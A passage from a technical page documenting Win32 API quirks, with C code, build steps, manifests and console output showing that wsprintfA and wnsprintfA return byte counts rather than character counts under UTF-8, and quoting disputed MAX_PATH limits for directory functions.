    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk38' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk38 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk38.xml created in step 4. in the console application quirk38.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk38.xml /OUTPUTRESOURCE:quirk38.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk38.exe configured in step 5. for the code page 65001 alias CP_UTF to demonstrate the (mis)behaviour and prove the documentation cited above wrong:

    VER
    .\quirk38.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    wsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC)
    wsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A)
    wsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192)
    wsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E)
    wsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026)
    wsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020)
    wsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021)
    wsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6)
    wsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030)
    wsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160)
    wsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039)
    wsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152)
    wsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D)
    wsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018)
    wsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019)
    wsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C)
    wsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D)
    wsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022)
    wsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013)
    wsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014)
    wsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC)
    wsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122)
    wsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161)
    wsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A)
    wsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153)
    wsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E)
    wsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178)
    wsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0)
    wsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1)
    wsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2)
    wsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3)
    wsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4)
    wsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5)
    wsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6)
    wsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7)
    wsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8)
    wsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9)
    wsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA)
    wsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB)
    wsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC)
    wsprintfA() returned string '­' of 2 characters for wide character '­' (U+00AD)
    wsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE)
    wsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF)
    wsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0)
    wsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1)
    wsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2)
    wsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3)
    wsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4)
    wsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5)
    wsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6)
    wsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7)
    wsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8)
    wsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9)
    wsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA)
    wsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB)
    wsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC)
    wsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD)
    wsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE)
    wsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF)
    wsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0)
    wsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1)
    wsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2)
    wsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3)
    wsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4)
    wsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5)
    wsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6)
    wsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7)
    wsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8)
    wsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9)
    wsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA)
    wsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB)
    wsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC)
    wsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD)
    wsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE)
    wsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF)
    wsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0)
    wsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1)
    wsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2)
    wsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3)
    wsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4)
    wsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5)
    wsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6)
    wsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7)
    wsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8)
    wsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9)
    wsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA)
    wsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB)
    wsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC)
    wsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD)
    wsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE)
    wsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF)
    wsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0)
    wsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1)
    wsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2)
    wsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3)
    wsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4)
    wsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5)
    wsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6)
    wsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7)
    wsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8)
    wsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9)
    wsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA)
    wsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB)
    wsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC)
    wsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED)
    wsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE)
    wsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF)
    wsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0)
    wsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1)
    wsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2)
    wsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3)
    wsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4)
    wsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5)
    wsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6)
    wsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7)
    wsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8)
    wsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9)
    wsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA)
    wsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB)
    wsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC)
    wsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD)
    wsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE)
    wsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)
    OOPS: for each of the 123 wide characters from the string CP1252, the wsprintfA() function returns a character count greater 1, i.e. the documentation cited above confuses character alias code point and byte alias code unit!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 39

The Win32 function wnsprintfA() is documented in the MSDN as follows:
Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.

[…]

int wnsprintfA(
  LPSTR  pszDest,
  int    cchDest,
  LPCSTR pszFmt,
  ...
);
[…]

Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.

[…]

This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.

The MSDN article Format Specification Syntax: printf and wprintf Functions specifies:
A conversion specification consists of optional and required fields in this form:

%[flags][width][.precision][size]type

[…]

The type character determines either the interpretation of precision or the default precision when precision is omitted, as shown in the following table.

Type Meaning Default
s, S The precision specifies the maximum number of characters to be printed. Characters in excess of precision are not printed. Characters are printed until a null character is encountered.
[…]

Demonstration

Perform the following 6 simple steps to prove the documentation cited above wrong and to show the (mis)behaviour plus the pitfalls.
  1. Create the text file quirk39.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <shlwapi.h>
    
    #define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	INT	niANSI;
    	CHAR	szANSI[57];
    	DWORD	dwWide;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		niANSI = wnsprintfA(szANSI, sizeof(szANSI),
    		                    "%+09d|% i|%#p|%-*.*ws|%#x",
    		                    GetACP(), GetOEMCP(), wmainCRTStartup, 7, 5, CP1252, 0xDEADBEEF);
    
    		if (niANSI < 0)
    			PrintConsole(hConsole,
    			             L"wnsprintfA() returned %i\n",
    			             niANSI);
    		else
    			PrintConsole(hConsole,
    			             L"wnsprintfA() returned string \'%hs\' of %i characters\n",
    			             szANSI, niANSI);
    
    		for (dwWide = 0; dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1; dwWide++)
    		{
    #if 0
    			niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%lc", CP1252[dwWide]);
    #else
    			niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%.1ls", CP1252 + dwWide);
    #endif
    			if (niANSI < 0)
    				PrintConsole(hConsole,
    				             L"wnsprintfA() returned %i for wide character \'%lc\' (U+%04hX)\n",
    				             CP1252[dwWide], CP1252[dwWide]);
    			else if (niANSI != 1)
    				PrintConsole(hConsole,
    				             L"wnsprintfA() returned string \'%hs\' of %i characters for wide character \'%lc\' (U+%04hX)\n",
    				             szANSI, niANSI, CP1252[dwWide], CP1252[dwWide]);
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk39.exe from the source file quirk39.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:shlwapi.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk39.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk39.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk39.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:shlwapi.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk39.exe
    quirk39.obj
  3. Execute the console application quirk39.exe built in step 2. to demonstrate the legacy behaviour:

    .\quirk39.exe
    wnsprintfA() returned string '+00001252| 850|0X0111104E|€‚ƒ„…  |0xdeadbeef' of 44 characters
    OOPS¹: contrary to the second 2 highlighted statements of the documentation cited above, the wnsprintfA() function but supports the pointer type p as well as the flags +, 0,   (blank) and #!
  4. Create the text file quirk39.xml with the following content next to the console application quirk39.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk39' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk39 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk39.xml created in step 4. in the console application quirk39.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk39.xml /OUTPUTRESOURCE:quirk39.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk39.exe configured in step 5. for the code page 65001 alias CP_UTF to demonstrate the (mis)behaviour and prove the documentation cited above wrong:

    VER
    .\quirk39.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    wnsprintfA() returned string '+00065001| 65001|0X0017104E|€‚ƒ„…  |0xdeadbeef' of 55 characters
    wnsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC)
    wnsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A)
    wnsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192)
    wnsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E)
    wnsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026)
    wnsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020)
    wnsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021)
    wnsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6)
    wnsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030)
    wnsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160)
    wnsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039)
    wnsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152)
    wnsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D)
    wnsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018)
    wnsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019)
    wnsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C)
    wnsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D)
    wnsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022)
    wnsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013)
    wnsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014)
    wnsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC)
    wnsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122)
    wnsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161)
    wnsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A)
    wnsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153)
    wnsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E)
    wnsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178)
    wnsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0)
    wnsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1)
    wnsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2)
    wnsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3)
    wnsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4)
    wnsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5)
    wnsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6)
    wnsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7)
    wnsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8)
    wnsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9)
    wnsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA)
    wnsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB)
    wnsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC)
    wnsprintfA() returned string '­' of 2 characters for wide character '­' (U+00AD)
    wnsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE)
    wnsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF)
    wnsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0)
    wnsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1)
    wnsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2)
    wnsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3)
    wnsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4)
    wnsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5)
    wnsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6)
    wnsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7)
    wnsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8)
    wnsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9)
    wnsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA)
    wnsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB)
    wnsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC)
    wnsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD)
    wnsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE)
    wnsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF)
    wnsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0)
    wnsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1)
    wnsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2)
    wnsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3)
    wnsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4)
    wnsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5)
    wnsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6)
    wnsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7)
    wnsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8)
    wnsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9)
    wnsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA)
    wnsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB)
    wnsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC)
    wnsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD)
    wnsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE)
    wnsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF)
    wnsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0)
    wnsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1)
    wnsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2)
    wnsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3)
    wnsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4)
    wnsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5)
    wnsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6)
    wnsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7)
    wnsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8)
    wnsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9)
    wnsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA)
    wnsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB)
    wnsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC)
    wnsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD)
    wnsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE)
    wnsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF)
    wnsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0)
    wnsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1)
    wnsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2)
    wnsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3)
    wnsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4)
    wnsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5)
    wnsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6)
    wnsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7)
    wnsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8)
    wnsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9)
    wnsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA)
    wnsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB)
    wnsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC)
    wnsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED)
    wnsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE)
    wnsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF)
    wnsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0)
    wnsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1)
    wnsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2)
    wnsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3)
    wnsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4)
    wnsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5)
    wnsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6)
    wnsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7)
    wnsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8)
    wnsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9)
    wnsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA)
    wnsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB)
    wnsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC)
    wnsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD)
    wnsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE)
    wnsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)
    OOPS²: contrary to the second 2 highlighted statements of the documentation cited above, the wnsprintfA() function but supports the pointer type p as well as the flags +, 0,   (blank) and #!

    OOPS³: for each of the 123 wide characters from the string CP1252, the wnsprintfA() function returns a character count greater 1, i.e. the documentation cited above confuses character alias code point and byte alias code unit!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 40

The A forms of the Win32 functions for directory and file management are all limited to a maximum path name length of 260 characters, defined with the preprocessor macro MAX_PATH. For example, the RemoveDirectoryA() function is documented in the MSDN as follows:
Deletes an existing empty directory.

[…]

BOOL RemoveDirectoryA(
  LPCSTR lpPathName
);
[…]

lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

In the ANSI version of this function, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, call the Unicode version of the function (RemoveDirectoryW), and prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.

Tip Starting in Windows 10, version 1607, for the unicode version of this function (RemoveDirectoryW), you can opt-in to remove the MAX_PATH character limitation without prepending "\\?\". See the "Maximum Path Limitation" section of Naming Files, Paths, and Namespaces for details.
The CreateDirectoryA() function is documented in the MSDN with an additional limitation, giving but a wrong number:
Creates a new directory. […]
BOOL CreateDirectoryA(
  LPCSTR                lpPathName,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
[…]

lpPathName

The path of the directory to be created.

For the ANSI version of this function, there is a default string size limit for paths of 248 characters (MAX_PATH - enough room for a 8.3 filename). To extend this limit to 32,767 wide characters, call the Unicode version of the function and prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.

Tip Starting with Windows 10, version 1607, for the unicode version of this function (CreateDirectoryW), you can opt-in to remove the 248 character limitation without prepending "\\?\". The 255 character limit per path segment still applies. See the "Maximum Path Length Limitation" section of Naming Files, Paths, and Namespaces for details.

lpSecurityAttributes

[…]

OUCH: the correct value of the string size limit is MAX_PATH − sizeof("\\filename.ext") = 260 − 14 = 246!
Win32 APIs often support both -A and -W variants.

-A variants recognize the ANSI code page configured on the system and support char*, while -W variants operate in UTF-16 and support WCHAR.

Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.

[…]

Note

